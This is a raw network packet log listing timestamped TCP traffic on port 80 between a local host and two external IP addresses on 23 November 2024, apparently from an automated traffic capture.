Nov 23, 2024 11:22:24.810554981 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.811311007 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.811383963 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.811425924 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.812300920 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.812403917 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.812444925 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.813604116 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.813659906 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.813703060 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.814254999 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.814342976 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.814389944 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.815085888 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.815289021 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.815337896 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.816009045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.816134930 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.816174984 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.816941023 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.817064047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.818010092 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.818061113 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.818110943 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.818855047 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.818897963 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.818927050 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.819766045 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.819808006 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.819971085 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.820444107 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.820679903 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.820761919 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.820801020 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.821631908 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.821680069 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.821722031 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.822563887 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.822659016 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.822701931 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.823499918 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.823656082 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.823714972 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.824484110 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.824604034 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.824647903 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.825392008 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.825416088 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.825459003 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.826316118 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.826456070 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.826498032 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.827223063 CET	80	49786	34.116.198.130	192.168.2.4
Nov 23, 2024 11:22:24.868675947 CET	49786	80	192.168.2.4	34.116.198.130
Nov 23, 2024 11:22:24.906575918 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.906635046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.907030106 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.907092094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.907105923 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.907138109 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.907984972 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.908077002 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.908119917 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.908983946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.909050941 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.909944057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.909985065 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.910212040 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.910960913 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.911075115 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.911118031 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.912094116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.912152052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.912213087 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.913096905 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.913234949 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.914088964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.914139986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.914150953 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.914958954 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.914994001 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.915060997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.915940046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.915982008 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.916096926 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.916443110 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.916932106 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.917010069 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.917349100 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.917934895 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.917984009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.918032885 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.918900967 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.918991089 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.919091940 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.919889927 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.919929028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.920032978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.920106888 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.920885086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.920943975 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.920994043 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.921904087 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.921962976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.922013998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.922116995 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.922854900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.922918081 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.923015118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.923882008 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.923930883 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.923955917 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.924284935 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.924894094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.925014019 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.925040007 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.925142050 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.925859928 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.925909996 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.926007032 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.926131964 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.926875114 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.926924944 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.926969051 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.927021027 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.928041935 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.928122997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.928162098 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.928189993 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.928858042 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.928913116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.928934097 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.928949118 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.929888964 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.929934025 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.929984093 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.930136919 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.930831909 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.930947065 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.930948973 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.930988073 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.931830883 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.931854963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.931891918 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.931920052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.932806015 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.932933092 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.933777094 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.933825016 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.933832884 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.933868885 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.934932947 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.935064077 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.935123920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.935933113 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.936060905 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.936459064 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.936774015 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.936913013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.936976910 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.937804937 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.937882900 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.938750982 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.938822985 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.938838959 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.939765930 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.939815044 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.939888954 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.940751076 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.940871000 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.941720009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.941782951 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.941803932 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.942732096 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.942831993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.942898989 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.943721056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.943837881 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.943895102 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.944704056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.944829941 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.945723057 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.945775986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.945802927 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.946733952 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.946805000 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.946953058 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.947058916 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.947700977 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.947756052 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.947827101 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.948467016 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.948688030 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.948899031 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.949686050 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.949734926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.949966908 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.950687885 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.950896025 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.950952053 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.951713085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.951951027 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.952481031 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.952656031 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.952794075 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.952837944 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.953640938 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.953711033 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.953953981 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.954628944 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.954746962 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.954866886 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.955672979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.955790997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.955853939 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.956634998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.956685066 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.956712961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.956865072 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:24.957648993 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.957770109 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.958600998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:24.958652973 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.099080086 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.099102974 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.099153996 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.099174976 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.099435091 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.099478960 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.099524975 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.099975109 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.100384951 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.100430965 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.100502014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.100591898 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.101438999 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.101484060 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.101521969 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.101562023 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.102349997 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.102394104 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.102483034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.102566004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.103382111 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.103435040 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.103590965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.103775978 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.104332924 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.104434967 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.104441881 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.105010033 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.105351925 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.105396986 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.105648994 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.106362104 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.106427908 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.106492996 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.107330084 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.107513905 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.107558966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.108402014 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.108468056 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.108496904 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.108513117 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.109293938 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.109415054 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.110296965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.110344887 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.110405922 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.111294031 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.111428976 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.111474037 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.112265110 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.112344980 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.112369061 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.112464905 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.113306046 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.113377094 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.113428116 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.113465071 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.114283085 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.114394903 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.114434004 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.115318060 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.115401983 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.115446091 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.116276979 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.116429090 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.116453886 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.116506100 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.117257118 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.117335081 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.117382050 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.118244886 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.118303061 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.118345022 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.119215965 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.119570017 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.119869947 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.120228052 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.120337963 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.120452881 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.121202946 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.121254921 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.121273041 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.121398926 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.122191906 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.122258902 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.122303009 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.122337103 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.123188019 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.123303890 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.123353958 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.124202013 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.124303102 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.124449015 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.125217915 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.125317097 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.125442028 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.126235962 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.126323938 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.126365900 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.127248049 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.127410889 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.127450943 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.128283978 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.128346920 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.128396034 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.128468037 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.129175901 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.129281998 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.129328966 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.130167961 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.130295038 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.131151915 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.131195068 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.131274939 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.131906033 CET	49793	80	192.168.2.4	185.215.113.16
Nov 23, 2024 11:22:25.132132053 CET	80	49793	185.215.113.16	192.168.2.4
Nov 23, 2024 11:22:25.132183075 CET	49793	80	192.168.2.4	185.215.113.16
